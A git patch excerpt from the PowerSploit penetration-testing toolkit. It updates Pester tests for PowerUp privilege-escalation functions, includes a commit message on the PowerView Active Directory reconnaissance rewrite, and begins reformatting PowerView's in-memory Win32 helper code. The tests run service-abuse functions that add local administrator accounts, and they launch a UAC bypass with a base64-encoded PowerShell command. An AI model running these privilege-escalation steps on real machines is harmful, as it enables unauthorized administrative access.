-Filter "Name='$ServiceName'" @@ -306,7 +408,7 @@ Describe 'Set-ServiceBinPath' { Describe 'Test-ServiceDaclPermission' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges." } @@ -445,14 +547,14 @@ Describe 'Test-ServiceDaclPermission' { # ######################################################## -Describe 'Get-ServiceUnquoted' { +Describe 'Get-UnquotedService' { - if(-not $(Test-IsAdmin)) { - Throw "'Get-ServiceUnquoted' Pester test needs local administrator privileges." + if (-not $(Test-IsAdmin)) { + Throw "'Get-UnquotedService' Pester test needs local administrator privileges." } It "Should not throw." { - {Get-ServiceUnquoted} | Should Not Throw + {Get-UnquotedService} | Should Not Throw } It 'Should return service with a space in an unquoted binPath.' { @@ -463,7 +565,7 @@ Describe 'Get-ServiceUnquoted' { sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } + $Output = Get-UnquotedService | Where-Object { $_.ServiceName -eq $ServiceName } sc.exe delete $ServiceName | Should Match 'SUCCESS' $Output | Should Not BeNullOrEmpty @@ -478,7 +580,7 @@ Describe 'Get-ServiceUnquoted' { sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } + $Output = Get-UnquotedService | Where-Object { $_.ServiceName -eq $ServiceName } sc.exe delete $ServiceName | Should Match 'SUCCESS' $Output | Should BeNullOrEmpty @@ -488,7 +590,7 @@ Describe 'Get-ServiceUnquoted' { Describe 'Get-ModifiableServiceFile' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Get-ModifiableServiceFile ' Pester test needs local administrator privileges." } @@ -532,11 +634,11 @@ Describe 'Get-ModifiableServiceFile' { Throw "Get-ModifiableServiceFile result doesn't contain 'CanRestart' field." } - if($Output.Path -ne $ServicePath) { + if ($Output.Path -ne $ServicePath) { Throw "Get-ModifiableServiceFile result doesn't return correct Path for a modifiable service file." } - if($Output.ModifiableFile -ne $ServicePath) { + if ($Output.ModifiableFile -ne $ServicePath) { Throw "Get-ModifiableServiceFile result doesn't return correct ModifiableFile for a modifiable service file." } @@ -553,7 +655,7 @@ Describe 'Get-ModifiableServiceFile' { Describe 'Get-ModifiableService' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Get-ModifiableService' Pester test needs local administrator privileges." } @@ -622,7 +724,7 @@ Describe 'Get-ServiceDetail' { Describe 'Invoke-ServiceAbuse' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Invoke-ServiceAbuse' Pester test needs local administrator privileges." } @@ -640,7 +742,7 @@ Describe 'Invoke-ServiceAbuse' { $Output = Invoke-ServiceAbuse -Name 'PowerUpService' $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match 'john')) { + if ( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } } @@ -649,7 +751,7 @@ Describe 'Invoke-ServiceAbuse' { $Output = Invoke-ServiceAbuse -Name 'PowerUpService' -Force $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match 'john')) { + if ( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } } @@ -658,7 +760,7 @@ Describe 'Invoke-ServiceAbuse' { $Output = 'PowerUpService' | Invoke-ServiceAbuse $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match 'john')) { + if ( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } } @@ -667,7 +769,7 @@ Describe 'Invoke-ServiceAbuse' { $Output = Get-Service 'PowerUpService' | Invoke-ServiceAbuse $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match 'john')) { + if ( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } } @@ -675,7 +777,7 @@ Describe 'Invoke-ServiceAbuse' { It 'User should not be created for a non-existent service.' { {Invoke-ServiceAbuse -ServiceName 'NonExistentService456'} | Should Throw - if( ($(net localgroup Administrators) -match 'john')) { + if ( ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' should not have been created for non-existent service." } } @@ -684,7 +786,7 @@ Describe 'Invoke-ServiceAbuse' { $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match 'PowerUp')) { + if ( -not ($(net localgroup Administrators) -match 'PowerUp')) { Throw "Local user 'PowerUp' not created." } $Null = $(net user PowerUp /delete >$Null 2>&1) @@ -698,7 +800,7 @@ Describe 'Invoke-ServiceAbuse' { $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Credential $Credential $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match 'PowerUp')) { + if ( -not ($(net localgroup Administrators) -match 'PowerUp')) { Throw "Local user 'PowerUp' not created." } $Null = $(net user PowerUp123 /delete >$Null 2>&1) @@ -708,7 +810,7 @@ Describe 'Invoke-ServiceAbuse' { $Output = Invoke-ServiceAbuse -Name 'PowerUpService' -LocalGroup 'Guests' $Output.Command | Should Match 'net' - if( -not ($(net localgroup Guests) -match 'john')) { + if ( -not ($(net localgroup Guests) -match 'john')) { Throw "Local user 'john' not added to 'Guests'." } } @@ -717,7 +819,7 @@ Describe 'Invoke-ServiceAbuse' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Command 'net user testing Password123! /add' - if( -not ($(net user) -match "testing")) { + if ( -not ($(net user) -match "testing")) { Throw 'Custom command failed.' } $Null = $(net user testing /delete >$Null 2>&1) @@ -727,7 +829,7 @@ Describe 'Invoke-ServiceAbuse' { Describe 'Install-ServiceBinary' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Install-ServiceBinary' Pester test needs local administrator privileges." } @@ -744,10 +846,10 @@ Describe 'Install-ServiceBinary' { $Null = $(net user john /delete >$Null 2>&1) } finally { - if(Test-Path "$(Get-Location)\powerup.exe") { + if (Test-Path "$(Get-Location)\powerup.exe") { $Null = Remove-Item -Path "$(Get-Location)\powerup.exe" -Force -ErrorAction SilentlyContinue } - if(Test-Path "$(Get-Location)\powerup.exe.bak") { + if (Test-Path "$(Get-Location)\powerup.exe.bak") { $Null = Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force -ErrorAction SilentlyContinue } } @@ -759,7 +861,7 @@ Describe 'Install-ServiceBinary' { $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match 'john')) { + if ( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } $Null = Stop-Service -Name PowerUpService -Force @@ -774,7 +876,7 @@ Describe 'Install-ServiceBinary' { $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match 'john')) { + if ( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } $Null = Stop-Service -Name PowerUpService -Force @@ -789,7 +891,7 @@ Describe 'Install-ServiceBinary' { $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match 'john')) { + if ( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } $Null = Stop-Service -Name PowerUpService -Force @@ -801,7 +903,7 @@ Describe 'Install-ServiceBinary' { It 'User should not be created for a non-existent service.' { {Install-ServiceBinary -ServiceName "NonExistentService456"} | Should Throw - if( ($(net localgroup Administrators) -match 'john')) { + if ( ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' should not have been created for non-existent service." } } @@ -813,7 +915,7 @@ Describe 'Install-ServiceBinary' { $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match 'PowerUp')) { + if ( -not ($(net localgroup Administrators) -match 'PowerUp')) { Throw "Local user 'PowerUp' not created." } @@ -835,7 +937,7 @@ Describe 'Install-ServiceBinary' { $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match 'PowerUp123')) { + if ( -not ($(net localgroup Administrators) -match 'PowerUp123')) { Throw "Local user 'PowerUp123' not created." } $Null = $(net user PowerUp123 /delete >$Null 2>&1) @@ -851,7 +953,7 @@ Describe 'Install-ServiceBinary' { $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Guests) -match 'PowerUp')) { + if ( -not ($(net localgroup Guests) -match 'PowerUp')) { Throw "Local user 'PowerUp' not created." } @@ -870,7 +972,7 @@ Describe 'Install-ServiceBinary' { $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net user) -match "testing")) { + if ( -not ($(net user) -match "testing")) { Throw "Custom command failed." } @@ -883,6 +985,7 @@ Describe 'Install-ServiceBinary' { } } +# TODO: Describe 'Restore-ServiceBinary' {} ######################################################## # @@ -908,7 +1011,7 @@ Describe 'Find-ProcessDLLHijack' { Describe 'Find-PathDLLHijack' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Find-PathDLLHijack' Pester test needs local administrator privileges." } @@ -1010,7 +1113,7 @@ Describe 'Get-RegistryAutoLogon' { Describe 'Get-ModifiableRegistryAutoRun' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Get-ModifiableRegistryAutoRun' Pester test needs local administrator privileges." } @@ -1065,7 +1168,7 @@ Describe 'Get-ModifiableRegistryAutoRun' { Describe 'Get-ModifiableScheduledTaskFile' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Get-ModifiableScheduledTaskFile' Pester test needs local administrator privileges." } @@ -1114,7 +1217,7 @@ Describe 'Get-ModifiableScheduledTaskFile' { Describe 'Get-UnattendedInstallFile' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Get-UnattendedInstallFile' Pester test needs local administrator privileges." } @@ -1239,7 +1342,7 @@ Describe 'Get-SiteListPassword' { Describe 'Get-CachedGPPPassword' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Get-CachedGPPPassword' Pester test needs local administrator privileges." } @@ -1262,14 +1365,39 @@ Describe 'Get-CachedGPPPassword' { } } +# TODO: Describe 'Write-UserAddMSI' {} + +Describe 'Invoke-WScriptUACBypass' { + $OSVersion = [Environment]::OSVersion.Version + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) { + It 'Should launch an elevated command.' { + Invoke-WScriptUACBypass -Command 'powershell -enc JwAxADIAMwAnACAAfAAgAE8AdQB0AC0ARgBpAGwAZQAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAcwBrAGEAZABqAGYAbgAuAHQAeAB0ACIA' + if (-not (Test-Path -Path "C:\Windows\System32\skadjfn.txt")) { + Throw "'Invoke-WScriptUACBypass' did not write a privileged file." + } + {Test-Path -Path "C:\Windows\System32\skadjfn.txt"} | Should Not Throw + Remove-Item -Path "C:\Windows\System32\skadjfn.txt" -Force + } + + It "Should accept -WindowStyle 'Visible'" { + Invoke-WScriptUACBypass -Command notepad.exe -WindowStyle 'Visible' + $Process = Get-Process 'notepad' + $Process | Should Not BeNullOrEmpty + $Process | Stop-Process -Force + } + } + else { + Write-Warning 'Target machine is not vulnerable to Invoke-WScriptUACBypass.' + } +} -Describe 'Invoke-AllChecks' { +Describe 'Invoke-PrivescAudit' { It 'Should return results to stdout.' { - $Output = Invoke-AllChecks + $Output = Invoke-PrivescAudit $Output | Should Not BeNullOrEmpty } It 'Should produce a HTML report with -HTMLReport.' { - $Output = Invoke-AllChecks -HTMLReport + $Output = Invoke-PrivescAudit -HTMLReport $Output | Should Not BeNullOrEmpty $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" @@ -1282,7 +1410,7 @@ Describe 'Invoke-AllChecks' { Describe 'Get-System' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Get-System' Pester test needs local administrator privileges." } From 7c32bf69f334b7c15c644cdb41188bdfe1a0b0e8 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 14:35:05 -0500 Subject: [PATCH 203/296] -Complete ground-up rewrite of PowerView -Lots of function cleanup/code rot removal and standardization -Additional options added to Get-DomainSearcher in order to support new param sets -Expanded parameter validation -XML help format standardized -PSScriptAnalyzer fixups- passes PS script analyzer now! -Nearly all functions should tag custom types to output objectsx -Identity supported by all appropriate functions -Transformed all filters to functions -Expanded the formats for Convert-ADName -Get-SPNTicket returns enc part automatically now, and Hashcat output format added -Write-Verbose/Write-Warning/Throw messages now have the function name tagged in the message -Verb-Domain* functions now all include a -FindOne function to return one result -Get-DomainUserEvent now uses -XPathFilter for a massive speedup -ALL Verb-Domain* (LDAP) functions now return full data objects (no more -FullData). Use -Properties for paring down. -Lots of bug fixes -"Required Dependencies" for each function completed -Fixed logic bugs for -ComputerIdentity in Get-DomainGPO, now enumerates domain-linked GPOs as well -Added -UserIdentity to Get-DomainGPO to enumerate GPOs applied to a given user identity New function naming scheme with proper Verb-PrefixNoun syntax to better match the 'real' AD cmdlets: Verbs: Get - retrieve full raw data sets Find - 'find' specific data entries in a data set or execute threaded computer enumeration Add - add a new object to a destination Set - modify a given object Invoke - lazy catch-all Prefixes now give an indication of the data source: Verb-DomainX - LDAP/.NET AD connections (e.g. Get-DomainUser) Verb-WMIX - Uses WMI for connections/enumeration of a specific host (e.g. Get-WMIRegLastLoggedOn) Verb-NetX - API access (e.g. Get-NetSession) Nouns have been renamed to be more descriptive Big gotcha: Get-NetLocalGroup - now returns local *groups* themselves Get-NetLocalGroupMember - returns local group *members* (old Get-NetLocalGroup) -Parameter sets standardized - parameters shared as appropriate across functions -Identity -> replaces -UserName/-GroupName/etc. Accepts samAccountName, GUID, distinguishedName, SID -these can be used in tandem -> Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" -Properties -> return only the specified properties (i.e. Get-DomainUser -Properties samAccountName,lastLogon -LDAPFilter replaces -Filter, -SearchBase replaces -ADSPath, -Server replaces -DomainController -ServerTimeLimit, -SearchScope, -Tombstone, -SecurityMasks added for most functions All functions (as appropriate) now support -Credential: -Verb-Domain* (LDAP) functions use alternate creds for a DirectorySearcher through Get-DomainSearcher -COM methods (i.e. Convert-ADName) use appropriate initializations -Verb-WMI methods pass the -Credential through as appropriate -Verb-Net* (API) functions use Invoke-UserImpersonation/Invoke-RevertToSelf implicitly for token impersonation Removed functions: Get-ComputerProperty, Get-UserProperty, Find-ComputerField, Find-UserField Get-NameField (translated to ValueFromPipelineByPropertyName calls) Invoke-DowngradeAccount - not used Add-NetUser - split into New-DomainUser/others Add-NetGroupUser - split into Add-DomainGroupMember/others New-GPOImmediateTask - inconsistent and better done manually Invoke-StealthUserHunter - combined into Find-DomainUserLocation Get-ExploitableSystem Added helper functions: Get-PrincipalContext - helper to return a DirectoryServices.AccountManagement.PrincipalContext Get-ForestSchemaClass - returns the forest schema for a specified object class Added exported functions: Add-RemoteConnection - 'mounts' a remote UNC path using WNetAddConnection2W Remove-RemoteConnection - 'unmounts' a remote UNC path using WNetCancelConnection2 Invoke-UserImpersonation - creates a new "runas /netonly" type logon and impersonates the token in the current thread Invoke-RevertToSelf - reverts any token impersonation Invoke-Kerberoast - automates Kerberoasting Find-DomainObjectPropertyOutlier - finds user/group/computer objects in AD that have 'outlier' properties sets New-DomainUser - creates a new domain user New-DomainGroup - creates a new domain group Add-DomainGroupMember - adds a domain user (or group) to an existing domain group Get-NetLocalGroup - now returns local *groups* themselves Get-NetLocalGroupMember - returns local group *members* (old Get-NetLocalGroup) Renamed functions (aliases created for old functions): Get-IPAddress -> Resolve-IPAddress Convert-NameToSid -> ConvertTo-SID Convert-SidToName -> ConvertFrom-SID Request-SPNTicket -> Get-DomainSPNTicket Get-DNSZone -> Get-DomainDNSZone Get-DNSRecord -> Get-DomainDNSRecord Get-NetDomain -> Get-Domain Get-NetDomainController -> Get-DomainController Get-NetForest -> Get-Forest Get-NetForestDomain -> Get-ForestDomain Get-NetForestCatalog -> Get-ForestGlobalCatalog Get-NetUser -> Get-DomainUser Get-UserEvent -> Get-DomainUserEvent Get-NetComputer -> Get-DomainComputer Get-ADObject -> Get-DomainObject Set-ADObject -> Set-DomainObject Get-ObjectAcl -> Get-DomainObjectAcl Add-ObjectAcl -> Add-DomainObjectAcl Invoke-ACLScanner -> Find-InterestingDomainAcl Get-GUIDMap -> Get-DomainGUIDMap Get-NetOU -> Get-DomainOU Get-NetSite -> Get-DomainSite Get-NetSubnet -> Get-DomainSubnet Get-NetGroup -> Get-DomainGroup Find-ManagedSecurityGroups -> Get-DomainManagedSecurityGroup Get-NetGroupMember -> Get-DomainGroupMember Get-NetFileServer -> Get-DomainFileServer Get-DFSshare -> Get-DomainDFSShare Get-NetGPO -> Get-DomainGPO Get-NetGPOGroup -> Get-DomainGPOLocalGroup Find-GPOLocation -> Get-DomainGPOUserLocalGroupMapping Find-GPOComputerAdmin -> Get-DomainGPOComputerLocalGroupMappin Get-LoggedOnLocal -> Get-RegLoggedOn Test-AdminAccess -> Invoke-CheckLocalAdminAccess Get-SiteName -> Get-NetComputerSiteName Get-Proxy -> Get-WMIRegProxy Get-LastLoggedOn -> Get-WMIRegLastLoggedOn Get-CachedRDPConnection -> Get-WMIRegCachedRDPConnection Get-RegistryMountedDrive -> Get-WMIRegMountedDrive Get-NetProcess -> Get-WMIProcess Invoke-ThreadedFunction -> New-ThreadedFunction Invoke-UserHunter -> Find-DomainUserLocation Invoke-ProcessHunter -> Find-DomainProcess Invoke-EventHunter -> Find-DomainUserEvent Invoke-ShareFinder -> Find-DomainShare Invoke-FileFinder -> Find-InterestingDomainShareFile Invoke-EnumerateLocalAdmin -> Find-DomainLocalGroupMember Get-NetDomainTrust -> Get-DomainTrust Get-NetForestTrust -> Get-ForestTrust Find-ForeignUser -> Get-DomainForeignUser Find-ForeignGroup -> Get-DomainForeignGroupMember Invoke-MapDomainTrust -> Get-DomainTrustMapping --- Recon/PowerView.ps1 | 22533 +++++++++++++++++++++++++----------------- Recon/Recon.psd1 | 140 +- 2 files changed, 13744 insertions(+), 8929 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d35a9f02..864adc5c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2,14 +2,14 @@ <# - PowerSploit File: PowerView.ps1 - Author: Will Schroeder (@harmj0y) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None +PowerSploit File: PowerView.ps1 +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None #> + ######################################################## # # PSReflect code for Windows API access @@ -18,53 +18,54 @@ # ######################################################## -function New-InMemoryModule -{ +function New-InMemoryModule { <# - .SYNOPSIS +.SYNOPSIS - Creates an in-memory assembly and module +Creates an in-memory assembly and module - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None - .DESCRIPTION +.DESCRIPTION - When defining custom enums, structs, and unmanaged functions, it is - necessary to associate to an assembly module. This helper function - creates an in-memory module that can be passed to the 'enum', - 'struct', and Add-Win32Type functions. +When defining custom enums, structs, and unmanaged functions, it is +necessary to associate to an assembly module. This helper function +creates an in-memory module that can be passed to the 'enum', +'struct', and Add-Win32Type functions. - .PARAMETER ModuleName +.PARAMETER ModuleName - Specifies the desired name for the in-memory assembly and module. If - ModuleName is not provided, it will default to a GUID. +Specifies the desired name for the in-memory assembly and module. If +ModuleName is not provided, it will default to a GUID. - .EXAMPLE +.EXAMPLE - $Module = New-InMemoryModule -ModuleName Win32 +$Module = New-InMemoryModule -ModuleName Win32 #> - Param - ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( [Parameter(Position = 0)] [ValidateNotNullOrEmpty()] [String] $ModuleName = [Guid]::NewGuid().ToString() ) - $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() + $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() - ForEach ($Assembly in $LoadedAssemblies) { + foreach ($Assembly in $LoadedAssemblies) { if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { return $Assembly } } $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) - $Domain = [AppDomain]::CurrentDomain + $Domain = $AppDomain $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) @@ -74,16 +75,14 @@ function New-InMemoryModule # A helper function used to reduce typing while defining function # prototypes for Add-Win32Type. -function func -{ - Param - ( +function func { + Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $DllName, [Parameter(Position = 1, Mandatory = $True)] - [String] + [string] $FunctionName, [Parameter(Position = 2, Mandatory = $True)] @@ -102,6 +101,9 @@ function func [Runtime.InteropServices.CharSet] $Charset, + [String] + $EntryPoint, + [Switch] $SetLastError ) @@ -116,6 +118,7 @@ function func if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } if ($Charset) { $Properties['Charset'] = $Charset } if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } New-Object PSObject -Property $Properties } @@ -124,123 +127,133 @@ function func function Add-Win32Type { <# - .SYNOPSIS +.SYNOPSIS + +Creates a .NET type for an unmanaged Win32 function. - Creates a .NET type for an unmanaged Win32 function. +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: func - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: func +.DESCRIPTION - .DESCRIPTION +Add-Win32Type enables you to easily interact with unmanaged (i.e. +Win32 unmanaged) functions in PowerShell. After providing +Add-Win32Type with a function signature, a .NET type is created +using reflection (i.e. csc.exe is never called like with Add-Type). - Add-Win32Type enables you to easily interact with unmanaged (i.e. - Win32 unmanaged) functions in PowerShell. After providing - Add-Win32Type with a function signature, a .NET type is created - using reflection (i.e. csc.exe is never called like with Add-Type). +The 'func' helper function can be used to reduce typing when defining +multiple function definitions. - The 'func' helper function can be used to reduce typing when defining - multiple function definitions. +.PARAMETER DllName - .PARAMETER DllName +The name of the DLL. - The name of the DLL. +.PARAMETER FunctionName - .PARAMETER FunctionName +The name of the target function. - The name of the target function. +.PARAMETER EntryPoint - .PARAMETER ReturnType +The DLL export function name. This argument should be specified if the +specified function name is different than the name of the exported +function. - The return type of the function. +.PARAMETER ReturnType - .PARAMETER ParameterTypes +The return type of the function. - The function parameters. +.PARAMETER ParameterTypes - .PARAMETER NativeCallingConvention +The function parameters. - Specifies the native calling convention of the function. Defaults to - stdcall. +.PARAMETER NativeCallingConvention - .PARAMETER Charset +Specifies the native calling convention of the function. Defaults to +stdcall. - If you need to explicitly call an 'A' or 'W' Win32 function, you can - specify the character set. +.PARAMETER Charset - .PARAMETER SetLastError +If you need to explicitly call an 'A' or 'W' Win32 function, you can +specify the character set. - Indicates whether the callee calls the SetLastError Win32 API - function before returning from the attributed method. +.PARAMETER SetLastError - .PARAMETER Module +Indicates whether the callee calls the SetLastError Win32 API +function before returning from the attributed method. - The in-memory module that will host the functions. Use - New-InMemoryModule to define an in-memory module. +.PARAMETER Module - .PARAMETER Namespace +The in-memory module that will host the functions. Use +New-InMemoryModule to define an in-memory module. - An optional namespace to prepend to the type. Add-Win32Type defaults - to a namespace consisting only of the name of the DLL. +.PARAMETER Namespace - .EXAMPLE +An optional namespace to prepend to the type. Add-Win32Type defaults +to a namespace consisting only of the name of the DLL. - $Mod = New-InMemoryModule -ModuleName Win32 +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 - $FunctionDefinitions = @( - (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), - (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), - (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) - ) +$FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) +) - $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' - $Kernel32 = $Types['kernel32'] - $Ntdll = $Types['ntdll'] - $Ntdll::RtlGetCurrentPeb() - $ntdllbase = $Kernel32::GetModuleHandle('ntdll') - $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Kernel32 = $Types['kernel32'] +$Ntdll = $Types['ntdll'] +$Ntdll::RtlGetCurrentPeb() +$ntdllbase = $Kernel32::GetModuleHandle('ntdll') +$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') - .NOTES +.NOTES - Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 +Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 - When defining multiple function prototypes, it is ideal to provide - Add-Win32Type with an array of function signatures. That way, they - are all incorporated into the same in-memory module. +When defining multiple function prototypes, it is ideal to provide +Add-Win32Type with an array of function signatures. That way, they +are all incorporated into the same in-memory module. #> [OutputType([Hashtable])] Param( - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $DllName, - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [String] $FunctionName, - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] + [String] + $EntryPoint, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] [Type] $ReturnType, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Type[]] $ParameterTypes, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CallingConvention] $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Runtime.InteropServices.CharSet] $Charset = [Runtime.InteropServices.CharSet]::Auto, - [Parameter(ValueFromPipelineByPropertyName = $True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [Switch] $SetLastError, - [Parameter(Mandatory = $True)] + [Parameter(Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, @@ -290,11 +303,11 @@ function Add-Win32Type # Make each ByRef parameter an Out parameter $i = 1 - ForEach($Parameter in $ParameterTypes) + foreach($Parameter in $ParameterTypes) { if ($Parameter.IsByRef) { - [void] $Method.DefineParameter($i, 'Out', $Null) + [void] $Method.DefineParameter($i, 'Out', $null) } $i++ @@ -304,14 +317,23 @@ function Add-Win32Type $SetLastErrorField = $DllImport.GetField('SetLastError') $CallingConventionField = $DllImport.GetField('CallingConvention') $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + # Equivalent to C# version of [DllImport(DllName)] $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), - [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), - [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) $Method.SetCustomAttribute($DllImportAttribute) } @@ -326,7 +348,7 @@ function Add-Win32Type $ReturnTypes = @{} - ForEach ($Key in $TypeHash.Keys) + foreach ($Key in $TypeHash.Keys) { $Type = $TypeHash[$Key].CreateType() @@ -338,90 +360,88 @@ function Add-Win32Type } -function psenum -{ +function psenum { <# - .SYNOPSIS +.SYNOPSIS - Creates an in-memory enumeration for use in your 